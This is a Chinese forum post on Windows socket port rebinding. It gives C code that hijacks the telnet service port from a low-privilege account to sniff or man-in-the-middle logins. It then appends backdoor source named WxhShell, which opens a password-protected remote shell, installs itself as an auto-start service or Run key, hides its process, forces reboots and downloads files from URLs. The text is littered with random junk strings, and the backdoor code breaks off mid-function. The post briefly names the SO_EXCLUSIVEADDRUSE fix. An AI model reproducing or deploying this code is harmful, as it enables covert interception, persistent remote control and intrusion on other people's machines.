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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4#=^YuKaF1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,',fO?Qv'  
SUvHLOA  
  saddr.sin_family = AF_INET; .>H7i`1D`  
4$y|z{[< 5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4\-kzGgmo  
`%rqQnVB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wdp 4-*  
XSZW9/I-(|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vbA9 V<c&  
Be}Cj(C  
  这意味着什么?意味着可以进行如下的攻击: irrQ$N}   
uRUysLIw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q OdvzVy<  
w+ _'BU1#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rKR<R(=!=  
2M|jWy_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L x(Y=  
>\VZ9bP<   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +n%WmRf6!  
qt3 \*U7x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @3b0hi4  
uT;9xV%ch  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YJr@4!j*  
dyu~T{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^>]p4Q3 6  
u6|7P<HUfb  
  #include ,!Ah+x  
  #include ?K}/b[[0v  
  #include f$/Daq <M  
  #include    m#8mU,7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ak|j J  
  int main() 3B;B#0g50  
  { gKBcD\F  
  WORD wVersionRequested; Dwwh;B  
  DWORD ret; oBIKt S*L  
  WSADATA wsaData; ~9x$tb x-  
  BOOL val; (8{h I  
  SOCKADDR_IN saddr; t'7)aJMP  
  SOCKADDR_IN scaddr; 4UG7{[!+  
  int err; o3%+FWrVTS  
  SOCKET s; 'p {>zQ\5  
  SOCKET sc; 3D%I=p(  
  int caddsize; H?O*  
  HANDLE mt; "rkP@ja9n  
  DWORD tid;   [t?ftS  
  wVersionRequested = MAKEWORD( 2, 2 ); "y5c)l(Rg  
  err = WSAStartup( wVersionRequested, &wsaData ); =Ermh7,  
  if ( err != 0 ) { x+^iEj`gk  
  printf("error!WSAStartup failed!\n"); ][#]4 _  
  return -1; dZ;cs c@xv  
  } C+2*m=r  
  saddr.sin_family = AF_INET; O(wt[AEA  
   Vx?a&{3]-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .!=2#<  
M-0BQs`N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v')T^b F@  
  saddr.sin_port = htons(23); Ue~M .LZb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |?{Zx&yUw  
  { @u$4{sjgf\  
  printf("error!socket failed!\n"); }0qgvw  
  return -1; N{oD1%  
  } b+3{ bE  
  val = TRUE; T2^ @x9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "TG}aS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ar>S_VW*  
  { kM@8RAxA  
  printf("error!setsockopt failed!\n"); 8'/vW~f  
  return -1; 7pr@aA"vgj  
  } * 496"kU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lts{<AU~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J Wof<D,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >5)$Qtz#  
XCQ =`3f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8CwgV  
  { \>M3E  
  ret=GetLastError(); Q>= :$I  
  printf("error!bind failed!\n"); 8"RX~Igf  
  return -1; 265df Y9Pu  
  } (w)Qt/P^4  
  listen(s,2); JAc-5e4  
  while(1) ;R|5sCb/m  
  { 9?@M Zh  
  caddsize = sizeof(scaddr); -:>Mi5/ s  
  //接受连接请求 q[7C,o>/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z*x Q"+\  
  if(sc!=INVALID_SOCKET) i>>_S&!9p  
  { p \F*Y,4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :/d#U:I  
  if(mt==NULL) -bcm"(<T'  
  { >*k3D&  
  printf("Thread Creat Failed!\n"); O`Nzn~),x  
  break; } n_9d.  
  } \JN?3}_J  
  } zTm&m#){3A  
  CloseHandle(mt); 'tp+g3V  
  } s#-`,jqD  
  closesocket(s); ~B|K]&/]  
  WSACleanup(); -hyY5!rD  
  return 0; AfFF u\  
  }   _Su$oOy(Ea  
  DWORD WINAPI ClientThread(LPVOID lpParam) D+#QQH  
  { sDw&U?gUv  
  SOCKET ss = (SOCKET)lpParam; 1kvBQ1+  
  SOCKET sc; \_CC6J0k  
  unsigned char buf[4096]; U $e-e/  
  SOCKADDR_IN saddr; !&?(ty^F  
  long num; @My-O@C>  
  DWORD val; 3zv_q&+8b  
  DWORD ret; -h8A<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^JJ*pT:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ftu4 V*lD  
  saddr.sin_family = AF_INET; 9;sebqC?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h@@2vs2  
  saddr.sin_port = htons(23); D3|y|Dr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @e3O=_m-  
  { iO>2#p8$NR  
  printf("error!socket failed!\n"); +{4ziqYj  
  return -1; ^4h/6^b0c  
  } #1&w fI$  
  val = 100; 2LEf"FH0~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [N'YFb3"O  
  { /87?U; |V  
  ret = GetLastError(); 7[.aAGTZ;  
  return -1; ,J!G-?:@n  
  } 5@F1E8T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q% 2cx@c  
  { I Bo)fE\O  
  ret = GetLastError(); ~\6Kq`Y  
  return -1; o{37}if  
  } Myg &H(~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U# G0  
  { 'UUIY$V[  
  printf("error!socket connect failed!\n"); n&p i  
  closesocket(sc); 71Q-_Hi  
  closesocket(ss); ofC=S$wX  
  return -1; 'n6D3Vse  
  } sy0|=E*;8"  
  while(1) 4&Y{kNF  
  { !Z 3iu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DwMq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {D={>0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [daUtKz  
  num = recv(ss,buf,4096,0); d *!)wt  
  if(num>0) Lf4c[[@%gd  
  send(sc,buf,num,0); [ ]}E- V  
  else if(num==0) wi|'pKG  
  break; ]N!8U_U3  
  num = recv(sc,buf,4096,0); >;-.rJFr  
  if(num>0) 6F(;=iY8  
  send(ss,buf,num,0); ?suxoP%  
  else if(num==0) b MZ-{<+i  
  break; ]4^9Tw6 _b  
  } ds}:t.3}6  
  closesocket(ss); S8(Y+jgk;a  
  closesocket(sc); g\[?U9qN  
  return 0 ; ('hr;s=  
  } |_x U{Pu  
p%/Z  
Oe:+%p  
========================================================== :D|"hJ  
AqM}@2#%%  
下边附上一个代码,,WXhSHELL 3x@t7B  
omisfu_~E  
========================================================== qb'4x){  
h mC. 5mY  
#include "stdafx.h" Ka%u#};  
KzZ|{ !C  
#include <stdio.h> &FHzd/  
#include <string.h> 8b\XC%k  
#include <windows.h> /@h)IuW  
#include <winsock2.h> `@!4#3H  
#include <winsvc.h> I?<5 %  
#include <urlmon.h> GTgG0Ifeh  
8vpB(VxV+  
#pragma comment (lib, "Ws2_32.lib") JVy-Y  
#pragma comment (lib, "urlmon.lib") tbG^9d  
k]K][[s`  
#define MAX_USER   100 // 最大客户端连接数 %Bn"/0,  
#define BUF_SOCK   200 // sock buffer kG 7]<^Os3  
#define KEY_BUFF   255 // 输入 buffer Osz:23(p  
$o2H#"  
#define REBOOT     0   // 重启 6AD#x7drj  
#define SHUTDOWN   1   // 关机 X` r~cc  
P_6JweN  
#define DEF_PORT   5000 // 监听端口 fhp\of/@ R  
cih[A2lp  
#define REG_LEN     16   // 注册表键长度 Q"rQVO  
#define SVC_LEN     80   // NT服务名长度 hA 1_zKZ  
zmaf@T  
// 从dll定义API m3[R   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .nh }f}j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *L7&P46  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); onqfmQ,3E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .{r0Szm.  
 }^3CG9%  
// wxhshell配置信息 ^k{b8-)W<  
struct WSCFG { r Z)?uqa  
  int ws_port;         // 监听端口 '&v.h#<  
  char ws_passstr[REG_LEN]; // 口令 OynQlQD/Eu  
  int ws_autoins;       // 安装标记, 1=yes 0=no ( $s%5|  
  char ws_regname[REG_LEN]; // 注册表键名 L{PH8Xl_  
  char ws_svcname[REG_LEN]; // 服务名 &/wd_;d^A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,cj531.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3'3E:}o|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 55LW[Pc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JO3"$s|t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N(ov.l;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [9N>*dKB  
T'C^,,if  
}; 'Z ;8-1M?O  
P)D2PVD  
// default Wxhshell configuration 3(&f!<Uy  
struct WSCFG wscfg={DEF_PORT, <cig^B{nX  
    "xuhuanlingzhe", _TLB1T^/4  
    1, $>if@}u  
    "Wxhshell", KNvvYwFH]  
    "Wxhshell", Kd,8PV*_  
            "WxhShell Service", K9 G1>*  
    "Wrsky Windows CmdShell Service", :[P)t %  
    "Please Input Your Password: ", A?)nLp&Y  
  1, WK$d<:"  
  "http://www.wrsky.com/wxhshell.exe", g+v.rmX  
  "Wxhshell.exe" $F&m('aB8  
    }; >`{B  
4 q-/R  
// 消息定义模块 Yf&P|Iiw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kz30! L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; };/;L[,G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k{Ad(S4J&  
char *msg_ws_ext="\n\rExit."; 4{zz-4=  
char *msg_ws_end="\n\rQuit."; kfc5ra>&  
char *msg_ws_boot="\n\rReboot..."; "2m (*+  
char *msg_ws_poff="\n\rShutdown..."; OS - Xh-:z  
char *msg_ws_down="\n\rSave to "; NQ&\t[R[  
r. z=  
char *msg_ws_err="\n\rErr!"; ~(v7:?  
char *msg_ws_ok="\n\rOK!"; c2E*A+V#u  
B:X,vE  
char ExeFile[MAX_PATH]; =5l20 Um  
int nUser = 0; \mo NpKf  
HANDLE handles[MAX_USER]; IJ[r!&PY  
int OsIsNt; (D5sJ$&E@\  
cVb&Jzd  
SERVICE_STATUS       serviceStatus; b aO ^Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a%g|E'\Jw  
(i2R1HCa  
// 函数声明 uE'O}Y95  
int Install(void); _ZMAlC*$G  
int Uninstall(void); >(.GIR  
int DownloadFile(char *sURL, SOCKET wsh); e #!YdXSx  
int Boot(int flag); GBg~NkC7.  
void HideProc(void); C srxi'Pe  
int GetOsVer(void); NpPuh9e{  
int Wxhshell(SOCKET wsl); a*kvU"]  
void TalkWithClient(void *cs); `AcUxnO  
int CmdShell(SOCKET sock); n5qg6(Tl]  
int StartFromService(void); XK+" x!   
int StartWxhshell(LPSTR lpCmdLine); v}`{OE:-J  
Z~S%|{&Br  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =Ts5\1sc>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o(L8 -F  
|$:y8H'J  
// 数据结构和表定义 {wL30D^  
SERVICE_TABLE_ENTRY DispatchTable[] = <6rc 8jYz  
{ [aS<u`/g|  
{wscfg.ws_svcname, NTServiceMain}, R]LuZN  
{NULL, NULL} ]Y.GU7`  
}; C0`Bi:Ze  
V$?@ z>7  
// 自我安装 N e<D'-  
int Install(void) R\T1R"1  
{ chC= $(5t  
  char svExeFile[MAX_PATH]; _uf,7R-  
  HKEY key; DWwPid} "  
  strcpy(svExeFile,ExeFile); hj4mbL  
7B@ 1[  
// 如果是win9x系统,修改注册表设为自启动 ;udV"7C  
if(!OsIsNt) { :5W8S6[o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VzTHW5B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /$=<"Y7&g  
  RegCloseKey(key); Tb!Fv W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T1*%]6&V|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oE.59dx  
  RegCloseKey(key); a #`Y(R'  
  return 0; '_~qAx@F#c  
    } "h`oT4j5q  
  } }N0$DqP  
} xQ0.2[*5  
else { Y n7z#bu  
r gw@  
// 如果是NT以上系统,安装为系统服务 1=@csO_yn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $*')Sma  
if (schSCManager!=0) 3 BQZ[%0@  
{ Rp0`%}2 o  
  SC_HANDLE schService = CreateService asc Y E  
  ( ,j!%,!n o  
  schSCManager, 2{}8_G   
  wscfg.ws_svcname, 5._1G| 3  
  wscfg.ws_svcdisp, xO_u  
  SERVICE_ALL_ACCESS, uvMc B9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {9Ug9e{ ~  
  SERVICE_AUTO_START, AW <"3 !@  
  SERVICE_ERROR_NORMAL, J\l'nqS"  
  svExeFile, [k<.BCE  
  NULL, P _x(`H  
  NULL, DD fw& y  
  NULL, ;.U<Lr^9#  
  NULL, <L'6CBbP  
  NULL $<da<}b  
  ); "$k rK7Z  
  if (schService!=0) ]tx/t^&/\u  
  { YAP,#a  
  CloseServiceHandle(schService); IQ\5!e  
  CloseServiceHandle(schSCManager); $n= w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ia#8 ^z  
  strcat(svExeFile,wscfg.ws_svcname); XVfw0-O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +4g H=6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  NIh?2w"\  
  RegCloseKey(key); IgyoBfj\d  
  return 0; 5q,ZH6\ {  
    } s1>d)2lX  
  } M.o H,Kd6  
  CloseServiceHandle(schSCManager); &WKAg:^k)  
} 8G )O,F7z  
} Ud& '*,  
^61;0   
return 1; wx*03(|j;  
} <~teD[1k"  
_Kwp8_kTr  
// 自我卸载 s H(io  
int Uninstall(void) ]|_UpP8EP  
{ w| eVl{~p  
  HKEY key; 1k0*WCfZ  
:|a$[g5  
if(!OsIsNt) { I~F]e|Ehqr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ay@/{RZz  
  RegDeleteValue(key,wscfg.ws_regname); g#%Egb1  
  RegCloseKey(key); T f40lv+{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]%2y`Jrl^W  
  RegDeleteValue(key,wscfg.ws_regname); 6]|-%  
  RegCloseKey(key); z'&tmje[?  
  return 0; z 4qEC  
  } _;mA(j  
} 8 RA  
} 7 -S?U~s  
else { +z|@K=d#|  
qM18 Ji*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #h}a   
if (schSCManager!=0) ;_ S D W  
{ M2Jb<y]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hem>@Bp'V  
  if (schService!=0) n{I1ZlEeh  
  { 7{lWg x  
  if(DeleteService(schService)!=0) { : "^/?Sd  
  CloseServiceHandle(schService); kx,3[qe'S  
  CloseServiceHandle(schSCManager); %v4*$E!f  
  return 0; 5t,X;  
  } i`}!<{k  
  CloseServiceHandle(schService); WBWIHv{j  
  } 8?hZ5QvA(j  
  CloseServiceHandle(schSCManager); _0|@B8!J?  
} #.{ddY{  
} &LYH >  
~e _  
return 1; z?n6l7sH  
} "&C>=  
z&Xk~R*$  
// 从指定url下载文件 0TaN#  
int DownloadFile(char *sURL, SOCKET wsh) gsY Q"/S9  
{ n0QHrIf{  
  HRESULT hr; b!<)x}-t>  
char seps[]= "/"; ?c<uN~fC=  
char *token; SUDvKP  
char *file; fTt\@" V  
char myURL[MAX_PATH]; &NX7  
char myFILE[MAX_PATH]; Qp9QS yMs}  
8ZCR9%  
strcpy(myURL,sURL); b}&.IJ&40j  
  token=strtok(myURL,seps); eD|"?@cE  
  while(token!=NULL) !u;gGgQF  
  { MZ?+I~@  
    file=token; $ {e5Ka  
  token=strtok(NULL,seps); hmB`+?,z*  
  } @<3kj R?j  
AC*SmQ\>!  
GetCurrentDirectory(MAX_PATH,myFILE); sI6I5  
strcat(myFILE, "\\"); 7+;.Q  
strcat(myFILE, file); M8R/a[ -A  
  send(wsh,myFILE,strlen(myFILE),0); "R\D:Olb#  
send(wsh,"...",3,0); ,3 [FD9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t?H sfN  
  if(hr==S_OK) mNlbiB  
return 0; @KRia{  
else `CRF E5  
return 1; {:#c1d2@8  
N;a'`l  
} WfHa  
Lvrflx*Q  
// 系统电源模块 A ^t _"J  
int Boot(int flag) @~}~;}0x  
{ L}7 TM:%  
  HANDLE hToken; ?{P$|:ha  
  TOKEN_PRIVILEGES tkp; 'Ck:=V%}g  
LLL;SNY  
  if(OsIsNt) { Zrzv';  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yx&d\/9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a ?\:,5=  
    tkp.PrivilegeCount = 1; H43d[@h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XQ2 YUe]DJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l.(|&U~  
if(flag==REBOOT) { rk47 $36X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .Fx3WryF  
  return 0; 2FY]o~@  
} =y>CO:^G%  
else { \Xe{vlo>h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r$<M*z5q(\  
  return 0; G#~U\QlG-  
} yg4#,4---b  
  } ?Yx2q_KZk  
  else { !DUOi4I  
if(flag==REBOOT) { 3a&HW JBSx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4aKppj  
  return 0; =?_:h`}  
} :2V|(:^ '  
else { 1,7 }ah_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <rvM)EJv|  
  return 0; hkRqtpYK  
} MdFFt:y:  
} b`JS&E  
v4K! BW  
return 1; ,g4T>7`&U%  
} mi1^hl'2  
$KhD>4^ jL  
// win9x进程隐藏模块 [E+J=L.l  
void HideProc(void) &- !$qUli  
{ l](!2a=[  
NV==[$(r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uw| -d[!  
  if ( hKernel != NULL ) FAdTp.   
  { aPRMpY-YC3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / U!xh3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I`s~.fZt  
    FreeLibrary(hKernel); 2`rJr  
  } omznSL  
bc NyB$S  
return; \qTp#sF  
} ^y%8_r&  
#R7hk5/8n}  
// 获取操作系统版本 1Y%lt5,*  
int GetOsVer(void) -0TI7 @  
{ [e_<UF@A*  
  OSVERSIONINFO winfo; ?B@3A)a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gm &jlN  
  GetVersionEx(&winfo); O.Y|},F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r;{ggwY&J  
  return 1; $Ld-lQsL  
  else 8C[eHC*r  
  return 0; hL&7D @  
} Vk*XiEfKm>  
}{kn/m/  
// 客户端句柄模块 :S}ZF$ $j%  
int Wxhshell(SOCKET wsl) C,%Dp0  
{ Anqt:(  
  SOCKET wsh; ).0p\.W~  
  struct sockaddr_in client; K7C!ZXw~  
  DWORD myID; K4o']{:U  
Vk2%yw>  
  while(nUser<MAX_USER) Efoy]6P\  
{ TU;AO%5  
  int nSize=sizeof(client); 7HQL^Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &ld<fa(w+2  
  if(wsh==INVALID_SOCKET) return 1; :5'hd^Q  
n*i&o;5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T tnJ u*  
if(handles[nUser]==0) =T#hd7O`V  
  closesocket(wsh); K4H27SH  
else C~?p85  
  nUser++; (D6ks5Uui  
  } _00}O+GLM4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [mNum3e  
!vVW8hbp  
  return 0; $at\aJ  
} CIsX$W  
Z [l+{  
// 关闭 socket c}|} o^  
void CloseIt(SOCKET wsh) .3jijc j  
{ e@]m@  
closesocket(wsh); &y7=tEV  
nUser--; p!)PbSw#  
ExitThread(0); P)XR9&o':  
} S4c-i2Rq  
:4x6dYNU  
// 客户端请求句柄 u\/TR#b  
void TalkWithClient(void *cs) 1 <m.Q*  
{ TaaCl#g$?  
e>6W ^ )  
  SOCKET wsh=(SOCKET)cs; o( mA(h  
  char pwd[SVC_LEN]; Mn3j6a  
  char cmd[KEY_BUFF]; 8N$Xq\Da+>  
char chr[1]; d>T8V(Bb  
int i,j; /;:4$2R(;  
Fe+(+ S  
  while (nUser < MAX_USER) { vO53?vN[m9  
W#kyD)(F  
if(wscfg.ws_passstr) { iQ1[60?)T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wb#<ctM>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VC_F Cz  
  //ZeroMemory(pwd,KEY_BUFF); =v!Z8zk=W  
      i=0; 8kr$w$=q  
  while(i<SVC_LEN) { 9$qw&j[  
-e?n4YO*\  
  // 设置超时 VKw.g@BY  
  fd_set FdRead; ?R4u>AHS@  
  struct timeval TimeOut; ,\1Rf.  
  FD_ZERO(&FdRead); N)a5~<fBG  
  FD_SET(wsh,&FdRead); {?++T 0  
  TimeOut.tv_sec=8; '66nqJb*  
  TimeOut.tv_usec=0; QFN9j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M?;YpaSe+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 90,UhNz9D  
;49sou  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m6H+4@Z-;(  
  pwd=chr[0]; @MoCEtt  
  if(chr[0]==0xd || chr[0]==0xa) { p&0 G  
  pwd=0; .wTb/x  
  break; ;Xqi;EA  
  } PR AP~P&^  
  i++; bD3d T>(+  
    } K6)IBV;  
I>w|80%%  
  // 如果是非法用户,关闭 socket [} d39  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9eE FX7  
} ;PqC *iz  
?5;wPDsK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jsF5q~F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ME$J?3r  
.QA1'_9  
while(1) { Tc>g+eS  
0,):;O I  
  ZeroMemory(cmd,KEY_BUFF); j~=<O<P  
sFvYCRw /  
      // 自动支持客户端 telnet标准   n=0^8QQ  
  j=0; u-bgk(u  
  while(j<KEY_BUFF) { +afkpvj8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w@YPG{"j  
  cmd[j]=chr[0]; Q,tjODc6n  
  if(chr[0]==0xa || chr[0]==0xd) { #,FXc~V  
  cmd[j]=0; aI}htb{m`  
  break; 4x=sJ%E  
  } ^ 5>W`vwp  
  j++; uINEq{yo  
    } 7Up-a^k^`  
iAPGP -<6  
  // 下载文件 \{Je!#  
  if(strstr(cmd,"http://")) { Lm.N {NV'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9x(t"VPuS  
  if(DownloadFile(cmd,wsh)) &|Rww\oJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "jq6FT)O  
  else o4j!:CI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L$ ^ew0C  
  } /}%C'  
  else { zW hzU|=8  
aW;)-0+  
    switch(cmd[0]) { (y\.uPu!  
  )(1tDQ`L>  
  // 帮助 /?|;f2tbV2  
  case '?': { vS:=%@c>ta  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R!\._m?\h  
    break; Wcl =YB%  
  } Gg:W%&#  
  // 安装 _g D9oK  
  case 'i': { EpCNp FQT<  
    if(Install()) $bBUL C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CG J_k?h  
    else M:d|M|'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mZ3Z8q}%P  
    break; &Ot9"Aq:  
    } x[BA <UNO  
  // 卸载 C nD3%%  
  case 'r': { V=PK)FJ  
    if(Uninstall()) \[8uE,=|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N ;n55N  
    else D$D;'Kij  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pp4Q)2X  
    break; 8Bxb~*  
    } 41rS0QAM  
  // 显示 wxhshell 所在路径 qjf4G[]!  
  case 'p': { O -p^S  
    char svExeFile[MAX_PATH]; <K/iX%b?  
    strcpy(svExeFile,"\n\r"); WS1Y maV  
      strcat(svExeFile,ExeFile); V.yDZ"  
        send(wsh,svExeFile,strlen(svExeFile),0); nn">   
    break; qA25P<  
    } - s{&_]A~  
  // 重启 |y?W#xb  
  case 'b': { 1p SEr6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l~@ -oE  
    if(Boot(REBOOT)) A9Pq}3U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K!-iDaVI  
    else { k^s7s{  
    closesocket(wsh); & ##JZ  
    ExitThread(0); Z^KWYe'w  
    } YPw=iF]  
    break; nA=E|$1  
    } v|jwz.jM  
  // 关机 3XUsw1,[  
